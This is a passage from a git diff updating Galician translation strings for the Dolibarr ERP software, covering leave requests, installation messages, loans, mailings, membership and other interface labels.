produtos con número de lote/serie WarningFirstImportedLine=A(s) primeira(s) liña(s) non se importará(n) coa selección actual NotUsedFields=Campos da base de datos non utilizados SelectImportFieldsSource = Escolla os campos do ficheiro de orixe que quere importar e o seu campo de destino na base de datos escollendo os campos de cada caixa de selección ou seleccione un perfil de importación predefinido: +MandatoryTargetFieldsNotMapped=Algúns campos de destino obrigatorios non están asignados +AllTargetMandatoryFieldsAreMapped=Mapeáronse todos os campos de destino que precisan un valor obrigatorio +ResultOfSimulationNoError=Resultado da simulación: Sen erro diff --git a/htdocs/langs/gl_ES/holiday.lang b/htdocs/langs/gl_ES/holiday.lang index 1478f1e5e91..3024981fd96 100644 --- a/htdocs/langs/gl_ES/holiday.lang +++ b/htdocs/langs/gl_ES/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=RRHH Holidays=Vacacións +Holiday=Vacacións CPTitreMenu=Día libre MenuReportMonth=Estado mensual MenuAddCP=Novo pedimento de vacacións +MenuCollectiveAddCP=Nova solicitude de baixa colectiva NotActiveModCP=Debe activar o módulo Días libres para ver esta páxina AddCP=Realizar un pedimento de días libres DateDebCP=Data de inicio @@ -41,8 +43,8 @@ TypeOfLeaveCode=Código tipo de días libres TypeOfLeaveLabel=Tipo de etiqueta de días libres NbUseDaysCP=Número de días de vacacións utilizados NbUseDaysCPHelp=O cálculo ten en conta os días non laborais e as vacacións definidas no dicionario. -NbUseDaysCPShort=Días de vacacións -NbUseDaysCPShortInMonth=Días de vacacións no mes +NbUseDaysCPShort=Días libres +NbUseDaysCPShortInMonth=Días libres no mes DayIsANonWorkingDay=%s non é dia laboral DateStartInMonth=Data de inicio en mes DateEndInMonth=Data de fin en mes @@ -56,6 +58,7 @@ ConfirmDeleteCP=¿Está certo de querer eliminar este pedimento de días libres? ErrorCantDeleteCP=Erro, non ten permisos para eliminar este pedimento de días libres. CantCreateCP=Non ten permisos para realizar pedimentos de días libres. InvalidValidatorCP=Debe escoller o/a responsable da aprobaciónr para a súa solicitude de vacacións. +InvalidValidator=O usuario escollido non tes permiso para aprobación. NoDateDebut=Debe indicar unha data de inicio. NoDateFin=Debe indicar unha data de fin. ErrorDureeCP=O seu pedimento de días libres non contén ningún día hábil. @@ -79,6 +82,8 @@ MotifCP=Razón UserCP=Usuario ErrorAddEventToUserCP=Aconteceu un erro na asignación do permiso excepcional. AddEventToUserOkCP=Engadiuse o permiso excepcional. +ErrorFieldRequiredUserOrGroup=Debe cubrirse o campo "grupo" ou o campo "usuario". +fusionGroupsUsers=O campo de grupos e o campo de usuario fusionaranse MenuLogCP=Ver rexistro de cambios LogCP=Rexistro de todas as actualizacións feitas a "Balance de vacacións" ActionByCP=Actualizado por @@ -86,6 +91,13 @@ UserUpdateCP=Actualizado para PrevSoldeCP=Saldo anterior NewSoldeCP=Novo saldo alreadyCPexist=Xa foi efectuada un pedimento de días libres para este período. +UseralreadyCPexist=Xa se fixo unha solicitude de baixa neste período para %s. +groups=Grupos +users=Usuarios +AutoSendMail=Correo automático +NewHolidayForGroup=Nova solicitude de baixa colectiva +SendRequestCollectiveCP=Enviar solicitude de baixa colectiva +AutoValidationOnCreate=Validación automática FirstDayOfHoliday=Día de inicio da solicitude de vacacións LastDayOfHoliday=Día de finalización da solicitude de vacacións BoxTitleLastLeaveRequests=Últimas %s solicitudes de días libres modificadas @@ -104,8 +116,8 @@ LEAVE_SICK=Baixa por enfermidade LEAVE_OTHER=Outro motivo de día libre LEAVE_PAID_FR=Vacación ## Configuration du Module ## -LastUpdateCP=Última actualización automática da asignación de vacacións -MonthOfLastMonthlyUpdate=Mes da última actualización automática da asignación de vacacións +LastUpdateCP=Última actualización automática da asignación de días libres +MonthOfLastMonthlyUpdate=Mes da última actualización automática da asignación de días libres UpdateConfCPOK=Actualización efectuada. Module27130Name= Xestión dos días libres Module27130Desc= Xestión dos días libres @@ -131,9 +143,16 @@ TemplatePDFHolidays=Padrón PDF para pedimento de días libres FreeLegalTextOnHolidays=Texto libre no PDF WatermarkOnDraftHolidayCards=Marca de auga no borrador de pedimento de días libres HolidaysToApprove=Vacacións para aprobar -NobodyHasPermissionToValidateHolidays=Ninguén ten permisos para validar vacacións -HolidayBalanceMonthlyUpdate=Actualización mensual do saldo de vacacións +NobodyHasPermissionToValidateHolidays=Ninguén ten permiso para validar as solicitudes de días libres +HolidayBalanceMonthlyUpdate=Actualización mensual do saldo de días libres XIsAUsualNonWorkingDay=%s é habitualmente un día NON laboral BlockHolidayIfNegative=Bloquear se o saldo é negativo LeaveRequestCreationBlockedBecauseBalanceIsNegative=Bloqueouse a creación desta solicitude de días porque o seu saldo é negativo ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=A solicitude de saída %s debe estar en borrador, cancelada ou rexeitada para ser eliminada +IncreaseHolidays=Aumentar o saldo de días libres +HolidayRecordsIncreased= %s saldos de días libres aumentados +HolidayRecordIncreased=Saldo de días libres aumentado +ConfirmMassIncreaseHoliday=Aumento masivo do saldo de días libres +NumberDayAddMass=Número de día para engadir á selección +ConfirmMassIncreaseHolidayQuestion=Está certo de querer aumentar as vacacións do(s) rexistro(s) seleccionado(s) %s? +HolidayQtyNotModified=O saldo dos días restantes para %s non se modificou diff --git a/htdocs/langs/gl_ES/install.lang b/htdocs/langs/gl_ES/install.lang index 7fd233ea2e3..956aceeabac 100644 --- a/htdocs/langs/gl_ES/install.lang +++ b/htdocs/langs/gl_ES/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=A versión de PHP é moi antiga. Requírese a versión %s ErrorPHPVersionTooHigh=Versión de PHP demasiado alta. Requírese a versión %s ou inferior. ErrorConnectedButDatabaseNotFound=Conexión correcta ao servidor pero non se atopou a base de datos '%s'. ErrorDatabaseAlreadyExists=A base de datos '%s' xa existe. +ErrorNoMigrationFilesFoundForParameters=Non se atopou ningún ficheiro de migración para as versións seleccionadas IfDatabaseNotExistsGoBackAndUncheckCreate=Se a base de datos non existe, volte atrás e marque a opción "Crear base de datos". IfDatabaseExistsGoBackAndCheckCreate=Se a base de datos xa existe, volte atrás e desmarque a opción "Crear base de datos". WarningBrowserTooOld=A versión do navegador é antiga de mais. É moi recomendable actualizar o seu navegador a unha versión recente de Firefox, Chrome ou Opera. @@ -50,7 +51,6 @@ DatabaseName=Nome da base de datos DatabasePrefix=Prefixo da táboa da base de datos DatabasePrefixDescription=Prefixo da táboa da base de datos. Se está baleiro, por defecto llx_. AdminLogin=Conta de usuario para o propietario da base de datos Dolibarr. -PasswordAgain=Voltar a escribir a confirmación do contrasinal AdminPassword=Contrasinal para o propietario da base de datos Dolibarr. CreateDatabase=Crear base de datos CreateUser=Crear conta de usuario ou conceder permiso á conta de usuario na base de datos Dolibarr @@ -88,7 +88,7 @@ LoginAlreadyExists=Xa existe DolibarrAdminLogin=Inicio de sesión do administrador de Dolibarr AdminLoginAlreadyExists=A conta de administrador Dolibarr '%s ' xa existe. Volte atrás se queres crear outro. FailedToCreateAdminLogin=Produciuse un fallo ao crear a conta de administrador de Dolibarr. -WarningRemoveInstallDir=Aviso, por motivos de seguridade, unha vez finalizada a instalación ou actualización, debería engadir un ficheiro chamado install.lock ao directorio do documento Dolibarr para evitar o uso accidental/malicioso da instalación ferramentas de novo. +WarningRemoveInstallDir=Aviso, por motivos de seguridade, unha vez com pletada a instalación, debería engadir un ficheiro chamado install.lock no directorio de documento de Dolibarr para evitar o uso accidental/malicioso da ferramenta de instalación de novo. FunctionNotAvailableInThisPHP=Non dispoñible neste PHP ChoosedMigrateScript=Escolla un script de migración DataMigration=Migración da base de datos (datos) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Ocultar opcións non dispoñibles ErrorFoundDuringMigration=Informáronse erros durante o proceso de migración polo que o seguinte paso non está dispoñible. Para ignorar os erros, pode facer clic aquí , pero é posible que a aplicación ou algunhas funcións non funcionen correctamente ata que non se resolvan os erros. YouTryInstallDisabledByDirLock=A aplicación tentou actualizarse por si mesma, pero as páxinas de instalación/actualización desactiváronse por seguridade (directorio renomeado co sufixo .lock).
      YouTryInstallDisabledByFileLock=A aplicación intentou actualizarse por si mesma, pero as páxinas de instalación/actualización desactiváronse por seguridade (pola existencia dun ficheiro de bloqueo install.lock no directorio de documentos dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=A aplicación tentou auto actualizarse, pero o proceso de actualización non está permitido actualmente.
      ClickHereToGoToApp=Fai clic aquí para ir á súa aplicación ClickOnLinkOrRemoveManualy=Se hai unha actualización en curso, agarde. Se non, faga clic na seguinte ligazón. Se sempre ve esta mesma páxina, debe eliminar/renomear o ficheiro install.lock no directorio de documentos. +ClickOnLinkOrCreateUnlockFileManualy=Se hai unha actualización en curso, agarde... Se non, debe crear un ficheiro upgrade.unlock no directorio de documentos de Dolibarr. Loaded=Cargado FunctionTest=Función test +NodoUpgradeAfterDB=Non se solicita ningunha acción polos módulos externos despois da actualización da base de datos +NodoUpgradeAfterFiles=Non se solicita ningunha acción polos módulos externos despois da actualización de ficheiros ou directorios +MigrationContractLineRank=Migrar a liña de contrato para usar Rango (e activar Reordenar) diff --git a/htdocs/langs/gl_ES/interventions.lang b/htdocs/langs/gl_ES/interventions.lang index a495186b18c..9566d38de98 100644 --- a/htdocs/langs/gl_ES/interventions.lang +++ b/htdocs/langs/gl_ES/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Oculta horas e minutos fora do campo de data para InterventionStatistics=Estatísticas de intervencións NbOfinterventions=Nº de fichas de intervención NumberOfInterventionsByMonth=Nº de fichas de intervención por mes (data de validación) -AmountOfInteventionNotIncludedByDefault=A cantidade de intervención non se inclúe por defecto no beneficio (na maioría dos casos, as follas de traballo úsanse para contar o tempo empregado). Engade a opción PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT a 1 en home-setup-other para incluílas. +AmountOfInteventionNotIncludedByDefault=A cantidade de intervención non se inclúe por defecto no beneficio (na maioría dos casos, as follas de horas de traballo utilízanse para contar o tempo empregado). Pode usar a opción PROJECT_ELEMENTS_FOR_ADD_MARGIN e PROJECT_ELEMENTS_FOR_MINUS_MARGIN en inicio-configuración-outro para completar a listaxe de elementos incluídos no beneficio. InterId=Id. intervención InterRef=Ref. intervención InterDateCreation=Data creación intervención @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Estás certo de que queres abrir de novo a intervenci GenerateInter=Xerar intervención FichinterNoContractLinked=A intervención %s creouse sen un contrato ligado. ErrorFicheinterCompanyDoesNotExist=O terceiro non existe. Non se creou a intervención. +NextDateToIntervention=Data para a próxima xeración de intervención +NoIntervention=Sen intervención diff --git a/htdocs/langs/gl_ES/loan.lang b/htdocs/langs/gl_ES/loan.lang index 7e12acc786f..755d817795a 100644 --- a/htdocs/langs/gl_ES/loan.lang +++ b/htdocs/langs/gl_ES/loan.lang @@ -3,17 +3,17 @@ Loan=Empréstito Loans=Empréstitos NewLoan=Novo empréstito ShowLoan=Ver empréstito -PaymentLoan=Pago de empréstito -LoanPayment=Pago do empréstito -ShowLoanPayment=Consultar pago de empréstito +PaymentLoan=Pagamento de empréstito +LoanPayment=Pagamento do empréstito +ShowLoanPayment=Consultar pagamento de empréstito LoanCapital=Capital Insurance=Seguro -Interest=Interese +Interest=Xuro Nbterms=Número de prazos Term=Prazo LoanAccountancyCapitalCode=Conta contable capital LoanAccountancyInsuranceCode=Conta contable seguro -LoanAccountancyInterestCode=Conta contable interese +LoanAccountancyInterestCode=Conta contable xuro ConfirmDeleteLoan=¿Está certo de querer eliminar este empréstito? LoanDeleted=Empréstito eliminado correctamente ConfirmPayLoan=¿Está certo de querer clasificar como pagado este empréstito? @@ -21,14 +21,14 @@ LoanPaid=Empréstito pagado ListLoanAssociatedProject=Listaxe de empréstitos asociados ao proxecto AddLoan=Crear empréstito FinancialCommitment=Compromiso financieiro -InterestAmount=Interese +InterestAmount=Importe xuro CapitalRemain=Capital restante TermPaidAllreadyPaid = Este prazo xa está pago -CantUseScheduleWithLoanStartedToPaid = Non se pode xerar un cronograma para un rmpréstito cun pago iniciado -CantModifyInterestIfScheduleIsUsed = Non pode modificar os intereses se xa está planificado +CantUseScheduleWithLoanStartedToPaid = Non se pode xerar un cronograma para un empréstito cun pagamento iniciado +CantModifyInterestIfScheduleIsUsed = Non pode modificar os xuros se xa está planificado # Admin ConfigLoan=Configuración do módulo empréstitos -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Conta contable por defecto para o capital -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Conta contable por defecto para o interese -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Conta contable por defecto para o seguro +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Conta (do Plan Contable) que se utilizará por defecto para o capital (módulo Préstamo) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Conta (do Plan Contable) que se utilizará por defecto para os xuros (módulo Préstamo) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Conta (do Plan Contable) que se utilizará por defecto para o seguro (módulo Préstamo) CreateCalcSchedule=Editar o compromiso financieiro diff --git a/htdocs/langs/gl_ES/mailmanspip.lang b/htdocs/langs/gl_ES/mailmanspip.lang index 08dbb902cca..c40e3d707ef 100644 --- a/htdocs/langs/gl_ES/mailmanspip.lang +++ b/htdocs/langs/gl_ES/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscrición de proba executada correctamente MailmanDeletionSuccess=Cancelación de subscrición de proba foi executada correctamente SynchroMailManEnabled=Unha actualización de Mailman será realizada SynchroSpipEnabled=Unha actualización de Spip será realizada -DescADHERENT_MAILMAN_ADMINPW=Contrasinal de administrador Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Contrasinal de administrador Mailman DescADHERENT_MAILMAN_URL=URL para as subscricións Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL para a cancelación de subscripcións Mailman DescADHERENT_MAILMAN_LISTS=Lista(s) para a subscripción automática dos novos membros (separados por comas) diff --git a/htdocs/langs/gl_ES/mails.lang b/htdocs/langs/gl_ES/mails.lang index fe60a5ecd61..2db0fd1cff1 100644 --- a/htdocs/langs/gl_ES/mails.lang +++ b/htdocs/langs/gl_ES/mails.lang @@ -7,10 +7,10 @@ MailCard=Ficha Mailing MailRecipients=Destinatarios MailRecipient=Destinatario MailTitle=Descrición -MailFrom=Remitente +MailFrom=Emisor MailErrorsTo=Erros a MailReply=Respostar a -MailTo=Destinatario(s) +MailTo=Enviar a: MailToUsers=A usuario(s) MailCC=Copia a MailToCCUsers=Copia a usuario(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contactos por posición MailingModuleDescEmailsFromFile=Mails de ficheiros MailingModuleDescEmailsFromUser=Mails enviados por usuario MailingModuleDescDolibarrUsers=Usuarios con mails -MailingModuleDescThirdPartiesByCategories=Terceiros (por categoría) +MailingModuleDescThirdPartiesByCategories=Terceiros SendingFromWebInterfaceIsNotAllowed=O envío dende a interfaz web non está permitido. EmailCollectorFilterDesc=Todos os filtros deben coincidir para recibir un correo electrónico @@ -119,7 +119,7 @@ NbOfEMailingsSend=Mailings masivos enviados IdRecord=ID rexistro DeliveryReceipt=Acuse de recibo. YouCanUseCommaSeparatorForSeveralRecipients=Pode usar o carácter de separación coma para especificar múltiples destinatarios. -TagCheckMail=Seguemento da apertura do email +TagCheckMail=Seguimento da apertura do email TagUnsubscribe=Ligazón de baixa na subscrición TagSignature=Sinatura do usuario que envía EMailRecipient=Mail do destinatario @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Rexistro creado polo receptor de correo electróni DefaultBlacklistMailingStatus=Valor predeterminado para o campo '%s' ao crear un novo contacto DefaultStatusEmptyMandatory=Baleiro pero obrigatorio WarningLimitSendByDay=ADVERTENCIA: a configuración ou o contrato da súa instancia limita o seu número de correos electrónicos ao día a %s . Se tenta enviar máis, pode que a súa instancia se ralentice ou se suspenda. Poñase en contacto co seu servizo de asistencia se precisa unha cota máis alta. +NoMoreRecipientToSendTo=Non hai máis destinatarios aos que enviar o correo electrónico diff --git a/htdocs/langs/gl_ES/main.lang b/htdocs/langs/gl_ES/main.lang index 3c0a86274b9..59cd9d433ff 100644 --- a/htdocs/langs/gl_ES/main.lang +++ b/htdocs/langs/gl_ES/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Sen padrón dispoñible para este tipo de cooreo electrónico AvailableVariables=Variables de substitución dispoñibles NoTranslation=Sen tradución Translation=Tradución +Translations=Traducións CurrentTimeZone=Zona horaria PHP (Servidor) EmptySearchString=Entre unha cadea de busca non baleira EnterADateCriteria=Engadir un criterio de data @@ -205,6 +206,7 @@ Valid=Validar Approve=Aprobar Disapprove=Desaprobar ReOpen=Reabrir +OpenVerb=Abertos Upload=Actualizar ficheiro ToLink=Ligazón Select=Seleccionar @@ -222,8 +224,9 @@ UserGroup=Grupo de usuarios UserGroups=Grupos de usuarios NoUserGroupDefined=Non hai definido grupo de usuarios Password=Contrasinal -PasswordRetype=Repetir o teu contrasinal +PasswordRetype=Repita o seu contrasinal NoteSomeFeaturesAreDisabled=Ten conta que moitos módulos/funcionalidades foron desactivados nesta demo. +YourUserFile=O seu ficheiro de usuario Name=Nome NameSlashCompany=Nome / Empresa Person=Persoa @@ -487,6 +490,7 @@ ActionsOnContact=Eventos deste contacto/enderezo ActionsOnContract=Eventos deste contrato ActionsOnMember=Eventos deste membro ActionsOnProduct=Eventos deste produto +ActionsOnAsset=Eventos para este activo fixo NActionsLate=%s en atraso ToDo=A realizar Completed=Realizado @@ -510,6 +514,7 @@ NotYetAvailable=Aínda non dispoñible NotAvailable=Non dispoñible Categories=Etiquetas/categorías Category=Etiqueta/categoría +SelectTheTagsToAssign=Seleccione as etiquetas/categorías para asignar By=Por From=De FromDate=De @@ -808,6 +813,7 @@ URLPhoto=Url da foto/logo SetLinkToAnotherThirdParty=Ligar a outro terceiro LinkTo=Ligar a LinkToProposal=Ligar a orzamento +LinkToExpedition= Ligazón á expedición LinkToOrder=Ligar a pedimento LinkToInvoice=Ligar a factura LinkToTemplateInvoice=Ligar o padrón de factura @@ -893,6 +899,9 @@ MassFilesArea=Área de ficheiros xerados por accións masivas ShowTempMassFilesArea=Amosar área de ficheiros xerados por accións masivas ConfirmMassDeletion=Confirmación borrado masivo ConfirmMassDeletionQuestion=¿Estás certo de querer eliminar os %s rexistro(s) seleccionado(s)? +ConfirmMassClone=Confirmación de clonación masiva +ConfirmMassCloneQuestion=Seleccione o proxecto para clonar a +ConfirmMassCloneToOneProject=Clonar o proxecto %s RelatedObjects=Obxectos relacionados ClassifyBilled=Clasificar facturado ClassifyUnbilled=Clasificar non facturado @@ -908,13 +917,14 @@ ExportFilteredList=Listaxe filtrado de exportación ExportList=Listaxe de exportación ExportOptions=Opcións de exportación IncludeDocsAlreadyExported=Incluir documentos xa exportados -ExportOfPiecesAlreadyExportedIsEnable=Exportar pezas xa exportadas está activado -ExportOfPiecesAlreadyExportedIsDisable=Exportar pezas xa exportadas está desactivado +ExportOfPiecesAlreadyExportedIsEnable=Os documentos xa exportados están visibles e exportaranse +ExportOfPiecesAlreadyExportedIsDisable=Os documentos xa exportados están ocultos e non se exportarán AllExportedMovementsWereRecordedAsExported=Todos os movementos exportados foron rexistrados como exportados NotAllExportedMovementsCouldBeRecordedAsExported=Non todos os movementos exportados poden ser rexistrados como exportados Miscellaneous=Miscelánea Calendar=Calendario GroupBy=Agrupado por... +GroupByX=Agrupar por %s ViewFlatList=Ver listaxe plana ViewAccountList=Ver Libro Maior ViewSubAccountList=Ver subconta Libro Maior @@ -926,6 +936,7 @@ DirectDownloadInternalLink=Ligazón privada de descarga PrivateDownloadLinkDesc=Precisa estar logueado e ter permisos para ver ou descargar o ficheiro Download=Descargar DownloadDocument=Descargar o documento +DownloadSignedDocument=Descargar documento asinado ActualizeCurrency=Actualizar o tipo de cambio Fiscalyear=Ano fiscal ModuleBuilder=Módulo e aplicación Builder @@ -1051,6 +1062,7 @@ SearchIntoContracts=Contratos SearchIntoCustomerShipments=Envíos a clientes SearchIntoExpenseReports=Informes de gastos SearchIntoLeaves=Día libre +SearchIntoKM=Base de Coñecemento SearchIntoTickets=Tickets SearchIntoCustomerPayments=Pagamentos dos clientes SearchIntoVendorPayments=Pagamentos a provedores @@ -1122,6 +1134,7 @@ DeleteFileText=Está certo de querer borrar este ficheiro? ShowOtherLanguages=Amosar outras lingoas SwitchInEditModeToAddTranslation=Cambie ao modo de edición para engadir traduciáns a esta lingoa NotUsedForThisCustomer=Non usado neste cliente +NotUsedForThisVendor=Non usado para este provedor AmountMustBePositive=O importe ten que ser positivo ByStatus=By status InformationMessage=Información @@ -1142,15 +1155,29 @@ EventReminder=Recordatorio de evento UpdateForAllLines=Actualizar todas as liñas OnHold=Agardando Civility=Cortesía -AffectTag=Poñer etiqueta +AffectTag=Asignar unha etiqueta +AffectUser=Asignar un usuario +SetSupervisor=Establece o supervisor CreateExternalUser=Crear usuario externo -ConfirmAffectTag=Poñer etiqueta masiva -ConfirmAffectTagQuestion=Está certo de que quere poñer ás etiquetas dos rexistros seleccionados %s? +ConfirmAffectTag=Asignación masiva de etiquetas +ConfirmAffectUser=Asignación masiva de usuarios +ProjectRole=Papel asignado en cada proxecto/oportunidade +TasksRole=Papel asignado a cada tarefa (se se usa) +ConfirmSetSupervisor=Configuración masiva de supervisores +ConfirmUpdatePrice=Escolla un aumento/diminución da taxa de prezo +ConfirmAffectTagQuestion=Está certo de querer asignar etiquetas aos rexistros seleccionados %s? +ConfirmAffectUserQuestion=Está certo de querer asignar usuarios aos rexistros seleccionados %s? +ConfirmSetSupervisorQuestion=Está certo de querer configurar o supervisor para o(s) rexistro(s) seleccionado(s) %s? +ConfirmUpdatePriceQuestion=Está certo de querer actualizar o prezo do(s) rexistro(s) seleccionado(s) %s? CategTypeNotFound=Non se atopou ningún tipo de etiqueta para o tipo de rexistros +Rate=Tipo +SupervisorNotFound=Non se atopou o supervisor CopiedToClipboard=Copiado a portapapeis InformationOnLinkToContract=Este importe é só o total de todas as liñas do contrato. Non se ten en conta ningunha noción de tempo. ConfirmCancel=Está certo de querer cancelar EmailMsgID=Correo electónico MsgID +EmailDate=Data do correo electrónico +SetToStatus=Establece o estado %s SetToEnabled=Establecer como activado SetToDisabled=Establecer como desactivado ConfirmMassEnabling=confirmación de habilitación masiva @@ -1179,11 +1206,24 @@ Terminated=De baixa AddLineOnPosition=Engadir liña na posición (ao final se está baleira) ConfirmAllocateCommercial=Asignar a confirmación do representante de vendas ConfirmAllocateCommercialQuestion=Está certo de querer asignar o(s) rexistro(s) seleccionado(s) a %s? -CommercialsAffected=Representantes de vendas afectados -CommercialAffected=Representante de vendas afectado +CommercialsAffected=Representantes de vendas asignados +CommercialAffected=Representante de vendas asignado YourMessage=A súa mensaxe YourMessageHasBeenReceived=Recibiuse a súa mensaxe. Atenderemos ou contactaremos con vostede canto antes. UrlToCheck=URL para comprobar Automation=Automatización CreatedByEmailCollector=Creado por Recolector de Correo CreatedByPublicPortal=Creado a partir do portal público +UserAgent=Axente de usuario +InternalUser=Usuario interno +ExternalUser=Usuario externo +NoSpecificContactAddress=Sen contacto nin enderezo específico +NoSpecificContactAddressBis=Esta lapela está dedicada a forzar contactos ou enderezos específicos para o obxecto actual. Utilíce só se quere definir un ou varios contactos ou enderezos específicos para o obxecto cando a información do terceiro non sexa suficiente ou non sexa precisa. +HideOnVCard=Ocultar %s +AddToContacts=Engadir enderezo aos meus contactos +LastAccess=Último acceso +UploadAnImageToSeeAPhotoHere=Cargue unha imaxe da pestana %s para ver unha foto aquí +LastPasswordChangeDate=Última data de modificación de contrasinal +PublicVirtualCardUrl=URL da páxina de tarxeta virtual da empresa +PublicVirtualCard=Tarxeta virtual da empresa +TreeView=Vista en árbore diff --git a/htdocs/langs/gl_ES/margins.lang b/htdocs/langs/gl_ES/margins.lang index b9b73c49de7..916f1bd4c76 100644 --- a/htdocs/langs/gl_ES/margins.lang +++ b/htdocs/langs/gl_ES/margins.lang @@ -6,6 +6,7 @@ TotalMargin=Marxe total MarginOnProducts=Marxe / Produtos MarginOnServices=Marxe / Servizos MarginRate=Marxe sobre coste +ModifyMarginRates=Modificar a narxe sobre custos MarkRate=Marxe sobre venda DisplayMarginRates=Amosar a marxe sobre costes DisplayMarkRates=Amosar a marxe sobre ventas diff --git a/htdocs/langs/gl_ES/members.lang b/htdocs/langs/gl_ES/members.lang index 89cdbb00ba5..7243d10b377 100644 --- a/htdocs/langs/gl_ES/members.lang +++ b/htdocs/langs/gl_ES/members.lang @@ -4,6 +4,8 @@ MemberCard=Ficha membro SubscriptionCard=Ficha cotización Member=Membro Members=Membros +NoRecordedMembers=Ningún membro rexistrado +NoRecordedMembersByType=Ningún membro rexistrado ShowMember=Amosar ficha membro UserNotLinkedToMember=Usuario non ligado a un membro ThirdpartyNotLinkedToMember=Terceiro non ligado a ningún membro @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Outro membro (nome: %s, login: ErrorUserPermissionAllowsToLinksToItselfOnly=Por razóns de seguridade, debe posuir os dereitos de modificación de todos os usuarios para poder ligar un membro a un usuario que non sexa vostede mesmo mesmo. SetLinkToUser=Ligar a un usuario Dolibarr SetLinkToThirdParty=Ligar a un terceiro Dolibarr +MemberCountersArePublic=Os contadores dos membros válidos son públicos MembersCards=Xeración de tarxetas para membros MembersList=Listaxe de membros MembersListToValid=Listaxe de membros borrador (a validar) @@ -34,7 +37,8 @@ DateSubscription=Data de filiación DateEndSubscription=Data de finalización da filiación EndSubscription=Finalización da filiación SubscriptionId=ID de achega -WithoutSubscription=Sen achega +WithoutSubscription=Sen afiliación +WaitingSubscription=Afiliación pendente MemberId=Id. do membro MemberRef=Ref. Membro NewMember=Novo membro @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=O tipo de membro non pode ser eliminado NewSubscription=Nova afiliación NewSubscriptionDesc=Utilice este formulario para rexistrarse como un novo membro da asociación. Para unha renovación, se xa é membro, póñase en contacto coa asociación ao través do mail %s. Subscription=Achega +AnyAmountWithAdvisedAmount=Calquera cantidade que escolla, recomendado %s +AnyAmountWithoutAdvisedAmount=Calquera cantidade da súa escolla +CanEditAmountShort=Calquera cantidade +CanEditAmountShortForValues=recomendado, calquera cantidade +MembershipDuration=Permanencia +GetMembershipButtonLabel=Únase Subscriptions=Achegas SubscriptionLate=En atraso SubscriptionNotReceived=Achega nunca recibida @@ -136,7 +146,7 @@ CardContent=Contido da súa ficha de membro # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Queremos comunicarlle que se recibiu a súa solicitude de adhesión

      ThisIsContentOfYourMembershipWasValidated=Queremos comunicarlle que a súa subscrición foi validada coa seguinte información:

      -ThisIsContentOfYourSubscriptionWasRecorded=Queremos comunicarlle de que se rexistrou a súa nova subscrición

      +ThisIsContentOfYourSubscriptionWasRecorded=Queremos informarlle de que se rexistrou a súa nova subscrición. Atopará a súa factura aquí axunta.

      ThisIsContentOfSubscriptionReminderEmail=Queremos comunicarlle que a súa subscrición está a piques de caducar ou xa caducou (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Agardamos que a renove

      ThisIsContentOfYourCard=Este é un resumo da información que temos sobre vostede. Póñase en contacto connosco se hai algo incorrecto

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto do correo electrónico de notificación recibido en caso de inscrición automática dun convidado @@ -198,9 +208,12 @@ SubscriptionsStatistics=Estatísticas das achegas NbOfSubscriptions=Número de achegas AmountOfSubscriptions=Cantidade recollida das achegas TurnoverOrBudget=Volumen de vendas (para empresa) ou Orzamento (para Fundación) -DefaultAmount=Importe da achega por defecto -CanEditAmount=O visitante pode escoller/editar o importe da súa achega -MEMBER_NEWFORM_PAYONLINE=Ir á páxina integrada de pagamento en liña +DefaultAmount=Importe predeterminado da contribución (utilízase só se non se define ningunha cantidade a topo de nivel de membro) +MinimumAmount=Importe mínimo (usado só cando o importe da contribución é gratuíto) +CanEditAmount=O importe da subscrición é gratuíto +CanEditAmountDetail=O visitante pode escoller/editar a cantidade da súa contribución independentemente do tipo de membro +AmountIsLowerToMinimumNotice=un debito total de %s +MEMBER_NEWFORM_PAYONLINE=Despois do rexistro en liña, cambie automaticamente á páxina de pagamento en liña ByProperties=Por natureza MembersStatisticsByProperties=Estatísticas dos membros por natureza VATToUseForSubscriptions=Tipo do IVE para utilizar nas achegas @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=A creación dun inicio de sesión de usuario para os mem CreateDolibarrThirdPartyDesc=Un terceiro é a persoa xurídica que se usará na factura se decide xerar factura por cada achega. Poderá crealo máis tarde durante o proceso de gravación da achega. MemberFirstname=Nome do membro MemberLastname=Apelido do membro +MemberCodeDesc=Código de membro, único para todos os membros +NoRecordedMembers=Ningún membro rexistrado diff --git a/htdocs/langs/gl_ES/modulebuilder.lang b/htdocs/langs/gl_ES/modulebuilder.lang index 4fdb87efd4d..530707b9624 100644 --- a/htdocs/langs/gl_ES/modulebuilder.lang +++ b/htdocs/langs/gl_ES/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= ID do módulo ModuleBuilderDesc=Esta ferramenta só debe ser utilizada por usuarios ou desenvolvedores experimentados. Ofrece utilidades para construír ou editar o seu propio módulo. A documentación para o desenvolvemento manual alternativo está aquí EnterNameOfModuleDesc=Introduza o nome do módulo/aplicación que quere crear sen espazos. Use maiúsculas para separar palabras (por exemplo: MeuMódulo, TendaComercioElectrónico, SincronizarMeuSistema...) -EnterNameOfObjectDesc=Introduza o nome do obxecto a crear sen espazos. Use maiúsculas para separar palabras (Por exemplo: O meu obxecto, Alumno, 